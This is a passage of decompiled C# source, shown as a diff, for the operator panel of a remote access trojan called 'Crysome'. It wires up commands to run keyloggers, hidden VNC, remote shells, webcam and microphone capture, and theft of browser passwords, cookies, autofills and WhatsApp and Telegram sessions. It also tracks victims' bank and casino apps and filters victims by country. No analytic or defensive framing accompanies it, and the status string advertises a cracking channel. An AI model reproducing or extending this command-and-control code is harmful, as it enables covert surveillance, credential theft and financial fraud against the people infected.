store.IsContextMenuFeatureEnabled("Socks5Proxy"); + + public bool IsTakeScreenshotEnabled => store.IsContextMenuFeatureEnabled("TakeScreenshot"); + + public bool IsFileManagerEnabled => store.IsContextMenuFeatureEnabled("FileManager"); + + public bool IsRestartEnabled => store.IsContextMenuFeatureEnabled("Restart"); + + public bool IsCopySummaryEnabled => store.IsContextMenuFeatureEnabled("CopySummary"); + + public bool IsBlockIPEnabled => store.IsContextMenuFeatureEnabled("BlockIP"); + + public bool IsPinToTopEnabled => store.IsContextMenuFeatureEnabled("PinToTop"); + + public bool IsExportEnabled => store.IsContextMenuFeatureEnabled("Export"); + + public bool IsMute30Enabled => store.IsContextMenuFeatureEnabled("Mute30"); + + public bool IsNoteEnabled => store.IsContextMenuFeatureEnabled("Note"); + + public bool IsProcessManagerEnabled => store.IsContextMenuFeatureEnabled("ProcessManager"); + + public bool IsRemoteShellEnabled => store.IsContextMenuFeatureEnabled("RemoteShell"); + + public bool IsRemoteAudioEnabled => store.IsContextMenuFeatureEnabled("RemoteAudio"); + + public bool IsRemoteCameraEnabled => store.IsContextMenuFeatureEnabled("RemoteCamera"); + + public bool IsRemoteDesktopEnabled => store.IsContextMenuFeatureEnabled("RemoteDesktop"); + + public bool IsHvncEnabled => store.IsContextMenuFeatureEnabled("HVNC"); + + public bool IsCredentialsEnabled => store.IsContextMenuFeatureEnabled("Credentials"); + + public bool IsKeyloggerEnabled => store.IsContextMenuFeatureEnabled("Keylogger"); + + public bool IsRemoteChatEnabled => store.IsContextMenuFeatureEnabled("RemoteChat"); + + public string FilterCountry + { + get + { + return _filterCountry; + } + set + { + string text = value ?? "All"; + if (!(_filterCountry == text)) + { + _filterCountry = text; + OnPropertyChanged("FilterCountry"); + if (!_isRefreshingClientList) + { + RefreshClientList(); + } + } + } + } + + public string FilterOS + { + get + { + return _filterOS; + } + set + { + string text = value ?? "All"; + if (!(_filterOS == text)) + { + _filterOS = text; + OnPropertyChanged("FilterOS"); + if (!_isRefreshingClientList) + { + RefreshClientList(); + } + } + } + } + + public string FilterGroup + { + get + { + return _filterGroup; + } + set + { + string text = value ?? "All"; + if (!(_filterGroup == text)) + { + _filterGroup = text; + OnPropertyChanged("FilterGroup"); + if (!_isRefreshingClientList) + { + RefreshClientList(); + } + } + } + } + + public string FilterPing + { + get + { + return _filterPing; + } + set + { + string text = value ?? "All"; + if (!(_filterPing == text)) + { + _filterPing = text; + OnPropertyChanged("FilterPing"); + if (!_isRefreshingClientList) + { + RefreshClientList(); + } + } + } + } + + public ObservableCollection AvailableCountries { get; } = new ObservableCollection(); + + public ObservableCollection AvailableOSes { get; } = new ObservableCollection(); + + public ObservableCollection FilterCountryOptions { get; } = new ObservableCollection { "All" }; + + public ObservableCollection FilterOSOptions { get; } = new ObservableCollection { "All" }; + + public ObservableCollection FilterGroupOptions { get; } = new ObservableCollection { "All" }; + + public ObservableCollection FilterPingOptions { get; } = new ObservableCollection { "All", "Good (<100ms)", "Medium (<300ms)", "High (>300ms)" }; + + public ObservableCollection BlockedIPsList { get; } = new ObservableCollection(); + + public int UniqueCountriesCount + { + get + { + return _uniqueCountriesCount; + } + private set + { + _uniqueCountriesCount = value; + OnPropertyChanged("UniqueCountriesCount"); + } + } + + public int AveragePing + { + get + { + return _averagePing; + } + private set + { + _averagePing = value; + OnPropertyChanged("AveragePing"); + } + } + + public int ActiveWindowsCount + { + get + { + return _activeWindowsCount; + } + private set + { + _activeWindowsCount = value; + OnPropertyChanged("ActiveWindowsCount"); + } + } + + public int ActiveHvncCount + { + get + { + return _activeHvncCount; + } + set + { + _activeHvncCount = value; + OnPropertyChanged("ActiveHvncCount"); + } + } + + public int ActiveRdpCount + { + get + { + return _activeRdpCount; + } + set + { + _activeRdpCount = value; + OnPropertyChanged("ActiveRdpCount"); + } + } + + public bool AppsExpanded + { + get + { + return _appsExpanded; + } + set + { + _appsExpanded = value; + OnPropertyChanged("AppsExpanded"); + OnPropertyChanged("AppsToggleText"); + } + } + + public string AppsToggleText + { + get + { + if (!_appsExpanded) + { + return "▼"; + } + return "▲"; + } + } + + public bool BankExpanded + { + get + { + return _bankExpanded; + } + set + { + _bankExpanded = value; + OnPropertyChanged("BankExpanded"); + OnPropertyChanged("BankToggleText"); + } + } + + public string BankToggleText + { + get + { + if (!_bankExpanded) + { + return "▼"; + } + return "▲"; + } + } + + public bool CasinoExpanded + { + get + { + return _casinoExpanded; + } + set + { + _casinoExpanded = value; + OnPropertyChanged("CasinoExpanded"); + OnPropertyChanged("CasinoToggleText"); + } + } + + public string CasinoToggleText + { + get + { + if (!_casinoExpanded) + { + return "▼"; + } + return "▲"; + } + } + + public string NewBlocklistIP + { + get + { + return _newBlocklistIP; + } + set + { + _newBlocklistIP = value ?? ""; + OnPropertyChanged("NewBlocklistIP"); + } + } + + public string BlocklistSelectedIP + { + get + { + return _blocklistSelectedIP; + } + set + { + _blocklistSelectedIP = value; + OnPropertyChanged("BlocklistSelectedIP"); + } + } + + public AppDataStore Store => store; + + public CrysomeServer Server => server; + + public long NextExplorerOpId() + { + return Interlocked.Increment(ref _nextExplorerOpId); + } + + public void RegisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm) + { + if (owner != null) + { + _activeFileExplorers[owner] = vm; + } + } + + public void UnregisterActiveFileExplorer(CrysomeClient owner, FileExplorerViewModel vm) + { + if (owner != null) + { + _activeFileExplorers.TryRemove(owner, out var _); + } + } + + public void RegisterReadFileCallback(CrysomeClient client, long transferId, Action cb) + { + _pendingReadFileResponses[(client, transferId)] = cb; + } + + public void RegisterWriteFileCallback(CrysomeClient client, long transferId, Action cb) + { + _pendingWriteFileResponses[(client, transferId)] = cb; + } + + public void RegisterGetDirectoryCallback(CrysomeClient client, long requestId, Action cb) + { + if (requestId != 0L) + { + _pendingGetDirectoryResponses[(client, requestId)] = cb; + } + } + + public void RegisterGetDrivesCallback(CrysomeClient client, long requestId, Action cb) + { + if (requestId != 0L) + { + _pendingGetDrivesResponses[(client, requestId)] = cb; + } + } + + public void SyncSelectedClients(List items) + { + _selectedClients = items ?? new List(); + OnPropertyChanged("SelectedClients"); + } + + public void EnqueueStatus(string msg) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + StatusMessage = msg; + DispatcherTimer t = new DispatcherTimer + { + Interval = TimeSpan.FromSeconds(3L) + }; + t.Tick += delegate + { + StatusMessage = ""; + t.Stop(); + }; + t.Start(); + } + + public void NotifyContextMenuFeaturesChanged() + { + OnPropertyChanged("IsSendCommandEnabled"); + OnPropertyChanged("IsSendCommandAllEnabled"); + OnPropertyChanged("IsSendFileEnabled"); + OnPropertyChanged("IsSendFileAllEnabled"); + OnPropertyChanged("IsDirectLinkEnabled"); + OnPropertyChanged("IsDirectLinkAllEnabled"); + OnPropertyChanged("IsSocks5ProxyEnabled"); + OnPropertyChanged("IsTakeScreenshotEnabled"); + OnPropertyChanged("IsFileManagerEnabled"); + OnPropertyChanged("IsRestartEnabled"); + OnPropertyChanged("IsCopySummaryEnabled"); + OnPropertyChanged("IsBlockIPEnabled"); + OnPropertyChanged("IsPinToTopEnabled"); + OnPropertyChanged("IsExportEnabled"); + OnPropertyChanged("IsMute30Enabled"); + OnPropertyChanged("IsNoteEnabled"); + OnPropertyChanged("IsProcessManagerEnabled"); + OnPropertyChanged("IsRemoteShellEnabled"); + OnPropertyChanged("IsRemoteAudioEnabled"); + OnPropertyChanged("IsRemoteCameraEnabled"); + OnPropertyChanged("IsRemoteDesktopEnabled"); + OnPropertyChanged("IsHvncEnabled"); + OnPropertyChanged("IsCredentialsEnabled"); + OnPropertyChanged("IsKeyloggerEnabled"); + OnPropertyChanged("IsRemoteChatEnabled"); + } + + public ManageClientsViewModel(MainViewModel mainViewModel) + { + //IL_0779: Unknown result type (might be due to invalid IL or missing references) + //IL_077e: Unknown result type (might be due to invalid IL or missing references) + //IL_07a1: Expected O, but got Unknown + //IL_07b9: Unknown result type (might be due to invalid IL or missing references) + //IL_07be: Unknown result type (might be due to invalid IL or missing references) + //IL_07d6: Expected O, but got Unknown + _mainViewModel = mainViewModel; + Clients = new ObservableCollection(); + LogEntries = new ObservableCollection(); + CollectionViewSource collectionViewSource = new CollectionViewSource + { + Source = LogEntries + }; + collectionViewSource.Filter += LogEntries_Filter; + LogEntriesView = collectionViewSource.View; + SendCommandCmd = new RelayCommand(delegate + { + DoSendCommand(all: false); + }); + SendCommandAllCmd = new RelayCommand(delegate + { + DoSendCommand(all: true); + }); + SendFileCmd = new RelayCommand(delegate + { + DoSendFile(all: false); + }); + SendFileAllCmd = new RelayCommand(delegate + { + DoSendFile(all: true); + }); + DirectLinkCmd = new RelayCommand(delegate + { + DoDirectLink(all: false); + }); + DirectLinkAllCmd = new RelayCommand(delegate + { + DoDirectLink(all: true); + }); + CopySummaryCmd = new RelayCommand(delegate + { + DoCopySummary(); + }); + PinToTopCmd = new RelayCommand(delegate + { + DoPinToTop(); + }); + ExportSelectionCmd = new RelayCommand(delegate + { + DoExportSelection(); + }); + Mute30Cmd = new RelayCommand(delegate + { + DoMute30(); + }); + QuickHealthCmd = new RelayCommand(delegate + { + DoQuickHealth(); + }); + RepeatLastCmdCmd = new RelayCommand(delegate + { + DoRepeatLastCmd(); + }); + RepeatLastFileCmd = new RelayCommand(delegate + { + DoRepeatLastFile(); + }); + AnnounceToggleCmd = new RelayCommand(delegate + { + DoAnnounceToggle(); + }); + EditNoteCmd = new RelayCommand(delegate + { + DoEditNote(); + }); + RestartClientCmd = new RelayCommand(delegate + { + DoRestart(); + }); + OpenFileManagerCmd = new RelayCommand(delegate + { + DoOpenFileManager(); + }); + OpenBuilderCmd = new RelayCommand(delegate + { + _mainViewModel.GoToBuilder(); + }); + OpenSettingsCmd = new RelayCommand(delegate + { + _mainViewModel.GoToSettings(); + }); + CloseAppCmd = new RelayCommand(delegate + { + Application.Current.Shutdown(); + }); + OpenPluginsCmd = new RelayCommand(delegate + { + _mainViewModel.GoToPlugins(); + }); + Socks5ProxyCmd = new RelayCommand(delegate + { + DoSocks5Proxy(); + }); + TakeScreenshotCmd = new RelayCommand(delegate + { + DoTakeScreenshot(); + }); + ProcessManagerCmd = new RelayCommand(delegate + { + DoProcessManager(); + }); + RemoteShellCmd = new RelayCommand(delegate + { + DoRemoteShell(); + }); + RemoteAudioCmd = new RelayCommand(delegate + { + DoRemoteAudio(); + }); + RemoteCameraCmd = new RelayCommand(delegate + { + DoRemoteCamera(); + }); + RemoteDesktopCmd = new RelayCommand(delegate + { + DoRemoteDesktop(); + }); + HvncCmd = new RelayCommand(delegate + { + DoHvnc(); + }); + KeyloggerCmd = new RelayCommand(delegate + { + DoKeylogger(); + }); + RemoteChatCmd = new RelayCommand(delegate + { + DoRemoteChat(); + }); + CredentialsPasswordsCmd = new RelayCommand(delegate + { + DoRequestCredentials(0); + }); + CredentialsCookiesCmd = new RelayCommand(delegate + { + DoRequestCredentials(1); + }); + CredentialsBothCmd = new RelayCommand(delegate + { + DoRequestCredentials(2); + }); + CredentialsAutofillsCmd = new RelayCommand(delegate + { + DoRequestCredentials(3); + }); + CredentialsAllCmd = new RelayCommand(delegate + { + DoRequestCredentials(4); + }); + WhatsAppSessionCmd = new RelayCommand(delegate + { + DoWhatsAppSession(); + }); + TelegramSessionCmd = new RelayCommand(delegate + { + DoTelegramSession(); + }); + ToggleAppsExpandCmd = new RelayCommand(delegate + { + AppsExpanded = !AppsExpanded; + }); + ToggleBankExpandCmd = new RelayCommand(delegate + { + BankExpanded = !BankExpanded; + }); + ToggleCasinoExpandCmd = new RelayCommand(delegate + { + CasinoExpanded = !CasinoExpanded; + }); + StartServerCmd = new RelayCommand(delegate + { + DoStartServer(); + }); + StopServerCmd = new RelayCommand(delegate + { + DoStopServer(); + }); + ExportLogCmd = new RelayCommand(delegate + { + DoExportLog(); + }); + AddBlocklistCmd = new RelayCommand(delegate + { + DoAddBlocklist(); + }); + RemoveBlocklistCmd = new RelayCommand(delegate + { + DoRemoveBlocklist(); + }); + BlockSelectedClientCmd = new RelayCommand(delegate + { + DoBlockSelectedClient(); + }); + ClearFiltersCmd = new RelayCommand(delegate + { + FilterCountry = "All"; + FilterOS = "All"; + FilterGroup = "All"; + FilterPing = "All"; + }); + store.Load(); + BlockedIPsList.Clear(); + foreach (string item in store.BlockedIPs.OrderBy((string x) => x)) + { + BlockedIPsList.Add(item); + } + infoTimer = new DispatcherTimer + { + Interval = TimeSpan.FromMilliseconds(store.Settings.InfoPollInterval, 0L) + }; + infoTimer.Tick += InfoTimer_Tick; + _uiThrottleTimer = new DispatcherTimer + { + Interval = TimeSpan.FromMilliseconds(500L, 0L) + }; + _uiThrottleTimer.Tick += ProcessClientUpdates; + _uiThrottleTimer.Start(); + DoStartServer(); + } + + private void DoStartServer() + { + try + { + if (server != null) + { + server.Stop(); + } + server = new CrysomeServer + { + Port = store.Settings.Port, + QuicPort = store.Settings.QuicPort, + Store = store + }; + server.ClientConnected += Server_ClientConnected; + server.ClientDisconnected += Server_ClientDisconnected; + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleSystemInfo(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleClientInfo(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandlePingResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleCommandResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleFileResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleFtSack(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleFtDone(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleDirectLinkResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleProxyStatus(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleScreenshotResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleCredentialsResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleProcessListResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleAudioData(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleCameraFrame(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleDesktopFrame(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleHvncFrame(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleReverseProxyData(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleReverseProxyEnd(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleKeylogData(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleOfflineKeylogData(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleChatMessage(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleCameraDevicesResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleAudioDevicesResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleAudioStreamChunk(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleScreensResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(RouteReadFileResponse); + server.PacketChannel.RegisterHandler(RouteWriteFileResponse); + server.PacketChannel.RegisterHandler(RouteGetDirectoryResponse); + server.PacketChannel.RegisterHandler(RouteGetDrivesResponse); + server.PacketChannel.RegisterHandler(RouteNotifyStatus); + server.PacketChannel.RegisterHandler(HandleClientInventoryReport); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleWhatsAppSessionResponse(s, pk); + }); + server.PacketChannel.RegisterHandler(delegate(CrysomeClient s, IPacket pk) + { + HandleTelegramSessionResponse(s, pk); + }); + server.UdpFrameReceived += Server_UdpFrameReceived; + server.Start(); + infoTimer.Start(); + StringBuilder stringBuilder = new StringBuilder(); + if (store.Settings.Port > 0) + { + stringBuilder.Append("RUDP ").Append(store.Settings.Port).Append(" (Builder / .NET Framework)"); + } + if (store.Settings.QuicPort > 0) + { + if (stringBuilder.Length > 0) + { + stringBuilder.Append(", "); + } + stringBuilder.Append("QUIC ").Append(store.Settings.QuicPort); + } + string text = stringBuilder.ToString(); + ServerStatus = "Listening — " + text + " • t.me/CuriousCracks"; + Log("Server started — " + text, "SYS"); + FlagCache.Get("US"); + } + catch (Exception ex) + { + ServerStatus = "FAILED"; + Log("Server start failed: " + ex.Message, "SYS"); + EnqueueStatus("Server start failed: " + ex.Message); + } + } + + private void DoStopServer() + { + try + { + infoTimer.Stop(); + server?.Stop(); + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + allClients.Clear(); + Clients.Clear(); + UpdateFilterOptions(); + }); + ServerStatus = "Stopped"; + ClientCount = 0; + Log("Server stopped", "SYS"); + } + catch (Exception ex) + { + Log("Stop error: " + ex.Message, "SYS"); + } + } + + private void Server_ClientConnected(object sender, ClientEventArgs e) + { + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + string addr = e.Client.RemoteAddress?.Address?.ToString() ?? "?"; + if (store.BlockedIPs.Contains(addr)) + { + Log("Blocked: " + addr, "SYS"); + try + { + server?.DisconnectClient(e.Client); + return; + } + catch + { + return; + } + } + if (!allClients.Any((ClientInfo c) => c.Owner == e.Client)) + { + int port = e.Client.RemoteAddress?.Port ?? 0; + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port); + if (clientInfo != null) + { + clientInfo.Owner = e.Client; + } + else + { + ClientInfo clientInfo2 = new ClientInfo + { + Owner = e.Client, + SessionId = Guid.NewGuid().ToString("N"), + Address = (e.Client.RemoteAddress?.Address?.ToString() ?? "?"), + Port = (e.Client.RemoteAddress?.Port ?? 0), + ConnectTime = DateTime.Now + }; + string address = clientInfo2.Address; + if (store.Notes.ContainsKey(address)) + { + clientInfo2.Notes = store.Notes[address]; + } + if (store.PinnedIPs.Contains(address)) + { + clientInfo2.IsPinned = true; + } + if (store.AnnounceIPs.Contains(address)) + { + clientInfo2.IsAnnounce = true; + } + if (store.MutedIPs.ContainsKey(address) && store.MutedIPs[address] > DateTime.Now) + { + clientInfo2.IsMuted = true; + clientInfo2.MuteUntil = store.MutedIPs[address]; + } + StoredClientRecord storedClientRecord = store.FindClient(address); + if (storedClientRecord != null) + { + if (string.IsNullOrEmpty(clientInfo2.Notes) && !string.IsNullOrEmpty(storedClientRecord.Notes)) + { + clientInfo2.Notes = storedClientRecord.Notes; + } + if (!string.IsNullOrEmpty(storedClientRecord.AppsInventoryJson) || !string.IsNullOrEmpty(storedClientRecord.BankInventoryJson)) + { + clientInfo2.ApplyInventoryJson(storedClientRecord.AppsInventoryJson, storedClientRecord.BankInventoryJson, storedClientRecord.CasinoInventoryJson); + } + } + allClients.Add(clientInfo2); + _pendingUpdates = true; + ClientCount = allClients.Count; + if (!clientInfo2.IsMuted && store.Settings.NotifyConnect) + { + try + { + SystemSounds.Asterisk.Play(); + } + catch + { + } + } + Log("Connected: " + address, "CONN"); + RunOnConnectTasks(e.Client); + } + } + }, Array.Empty()); + } + + private void Server_ClientDisconnected(object sender, ClientEventArgs e) + { + if (_reverseProxyState.TryGetValue(e.Client, out var value)) + { + value.Running = false; + try + { + value.Listener?.Stop(); + } + catch + { + } + KeyValuePair[] array = value.Connections.ToArray(); + for (int i = 0; i < array.Length; i++) + { + KeyValuePair keyValuePair = array[i]; + try + { + keyValuePair.Value?.Close(); + } + catch + { + } + } + _reverseProxyState.Remove(e.Client); + } + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == e.Client); + if (clientInfo != null) + { + clientInfo.ProxyActive = false; + store.UpsertClient(new StoredClientRecord + { + Address = clientInfo.Address, + Port = clientInfo.Port, + UserName = (clientInfo.Username ?? ""), + ComputerName = (clientInfo.ComputerName ?? ""), + OS = (clientInfo.OS ?? ""), + CountryCode = (clientInfo.CountryCode ?? ""), + Group = (clientInfo.Group ?? ""), + Notes = (clientInfo.Notes ?? ""), + IsPinned = clientInfo.IsPinned, + LastSeen = DateTime.Now, + AppsInventoryJson = (clientInfo.AppsInventoryJson ?? ""), + BankInventoryJson = (clientInfo.BankInventoryJson ?? ""), + CasinoInventoryJson = (clientInfo.CasinoInventoryJson ?? "") + }); + store.SaveClients(); + allClients.Remove(clientInfo); + _pendingUpdates = true; + ClientCount = allClients.Count; + if (!clientInfo.IsMuted && store.Settings.NotifyDisconnect) + { + try + { + SystemSounds.Hand.Play(); + } + catch + { + } + } + Log("Disconnected: " + clientInfo.Address, "CONN"); + } + }, Array.Empty()); + } + + private void HandleClientInfo(CrysomeClient sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + ClientInfoResponsePacket p = (ClientInfoResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + //IL_0433: Unknown result type (might be due to invalid IL or missing references) + //IL_043d: Expected O, but got Unknown + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + string addr = sender.RemoteAddress?.Address?.ToString() ?? "?"; + int port = sender.RemoteAddress?.Port ?? 0; + if (clientInfo == null) + { + clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Address == addr && c.Port == port); + } + if (clientInfo != null) + { + clientInfo.Owner = sender; + } + else + { + clientInfo = new ClientInfo + { + Owner = sender, + SessionId = Guid.NewGuid().ToString("N"), + Address = addr, + Port = port, + ConnectTime = DateTime.Now + }; + string address = clientInfo.Address; + if (store.Notes.ContainsKey(address)) + { + clientInfo.Notes = store.Notes[address]; + } + if (store.PinnedIPs.Contains(address)) + { + clientInfo.IsPinned = true; + } + if (store.AnnounceIPs.Contains(address)) + { + clientInfo.IsAnnounce = true; + } + allClients.Add(clientInfo); + if (store.Settings.NotifyConnect) + { + try + { + SystemSounds.Asterisk.Play(); + } + catch + { + } + } + Log("Connected: " + clientInfo.Address, "CONN"); + } + bool flag = false; + if (clientInfo.Identifier != (p.Identifier ?? "")) + { + clientInfo.Identifier = p.Identifier ?? ""; + flag = true; + } + if (clientInfo.Username != (p.Username ?? "")) + { + clientInfo.Username = p.Username ?? ""; + flag = true; + } + if (clientInfo.ComputerName != (p.ComputerName ?? "")) + { + clientInfo.ComputerName = p.ComputerName ?? ""; + flag = true; + } + if (clientInfo.OS != (p.OS ?? "")) + { + clientInfo.OS = p.OS ?? ""; + flag = true; + } + if (clientInfo.ActiveWindow != (p.ActiveWindow ?? "")) + { + clientInfo.ActiveWindow = p.ActiveWindow ?? ""; + flag = true; + } + if (clientInfo.Uptime != (p.Uptime ?? "")) + { + clientInfo.Uptime = p.Uptime ?? ""; + flag = true; + } + string text = (p.CountryCode ?? "").Trim().ToUpperInvariant(); + if (clientInfo.CountryCode != text) + { + clientInfo.CountryCode = text; + flag = true; + } + if (clientInfo.Group != (p.Group ?? "")) + { + clientInfo.Group = p.Group ?? ""; + flag = true; + } + if (clientInfo.GPU != (p.GPU ?? "")) + { + clientInfo.GPU = p.GPU ?? ""; + flag = true; + } + if (flag) + { + _pendingUpdates = true; + } + ClientCount = allClients.Count; + try + { + sender.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64)); + } + catch + { + } + }, Array.Empty()); + } + + private void HandleSystemInfo(CrysomeClient sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + GetSystemInfoResponsePacket p = (GetSystemInfoResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + if (clientInfo != null) + { + clientInfo.Identifier = p.Identifier ?? ""; + clientInfo.Username = p.Username ?? ""; + clientInfo.ComputerName = p.ComputerName ?? ""; + clientInfo.OS = p.OS ?? ""; + } + }, Array.Empty()); + } + + private void HandlePingResponse(CrysomeClient sender, IPacket packet) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + PingResponsePacket val = (PingResponsePacket)packet; + long tickCount = Environment.TickCount64; + int rtt = (int)(tickCount - val.ServerTick); + if (rtt < 0 || rtt > 30000) + { + return; + } + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.AddPingSample(rtt); + }, Array.Empty()); + } + + private void HandleCommandResponse(CrysomeClient sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + RunCommandResponsePacket p = (RunCommandResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + if (_shellOutputCallbacks.TryGetValue(sender, out var value)) + { + _shellOutputCallbacks.Remove(sender); + value(p.Output ?? ""); + } + else + { + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + string text = ((clientInfo != null) ? clientInfo.Address : "?"); + Log("CMD [" + text + "]: " + (p.Output ?? "").Substring(0, Math.Min((p.Output ?? "").Length, 500)), "CMD"); + } + }, Array.Empty()); + } + + public void SendShellCommand(ClientInfo client, string command, Action onOutput) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Expected O, but got Unknown + if (client?.Owner == null || onOutput == null) + { + return; + } + _shellOutputCallbacks[client.Owner] = onOutput; + try + { + client.Owner.SendPacket((IPacket)new RunCommandRequestPacket(command)); + } + catch + { + _shellOutputCallbacks.Remove(client.Owner); + } + } + + private void HandleFileResponse(CrysomeClient sender, IPacket packet) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected O, but got Unknown + FileTransferResponsePacket p = (FileTransferResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Log("File result: " + p.Status, "FILE"); + }, Array.Empty()); + } + + private void HandleFtSack(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + FtSackPacket val = (FtSackPacket)packet; + if (_activeSenders.TryGetValue(val.TransferId, out var value)) + { + value.HandleSack(val); + } + } + + private void HandleFtDone(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + FtDonePacket val = (FtDonePacket)packet; + if (_activeSenders.TryRemove(val.TransferId, out var value)) + { + value.HandleDone(val); + } + } + + private void HandleDirectLinkResponse(CrysomeClient sender, IPacket packet) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected O, but got Unknown + DirectLinkResponsePacket p = (DirectLinkResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + Log("DirectLink result: " + p.Status, "FILE"); + }, Array.Empty()); + } + + private void InfoTimer_Tick(object sender, EventArgs e) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Expected O, but got Unknown + if (server == null || !server.Listening) + { + return; + } + try + { + int count = allClients.Count; + if (count == 0) + { + return; + } + int num = 15; + if (infoRobin >= count) + { + infoRobin = 0; + } + int num2 = Math.Min(infoRobin + num, count); + for (int i = infoRobin; i < num2; i++) + { + ClientInfo clientInfo = allClients[i]; + if (clientInfo.Owner != null && clientInfo.Owner.IsConnected) + { + try + { + clientInfo.Owner.SendPacket((IPacket)new ClientInfoRequestPacket()); + clientInfo.Owner.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64)); + } + catch + { + } + } + } + infoRobin = ((num2 < count) ? num2 : 0); + ClientCount = allClients.Count; + } + catch + { + } + } + + private void RefreshClientList() + { + _pendingUpdates = true; + } + + private void ProcessClientUpdates(object sender, EventArgs e) + { + if (!_pendingUpdates) + { + return; + } + _pendingUpdates = false; + try + { + IEnumerable source = allClients.AsEnumerable(); + if (!string.IsNullOrEmpty(_filterCountry) && _filterCountry != "All") + { + source = source.Where((ClientInfo c) => string.Equals(c.CountryCode, _filterCountry, StringComparison.OrdinalIgnoreCase)); + } + if (!string.IsNullOrEmpty(_filterOS) && _filterOS != "All") + { + source = source.Where((ClientInfo c) => (c.OS ?? "").IndexOf(_filterOS, StringComparison.OrdinalIgnoreCase) >= 0); + } + if (!string.IsNullOrEmpty(_filterGroup) && _filterGroup != "All") + { + source = source.Where((ClientInfo c) => string.Equals(c.Group ?? "", _filterGroup, 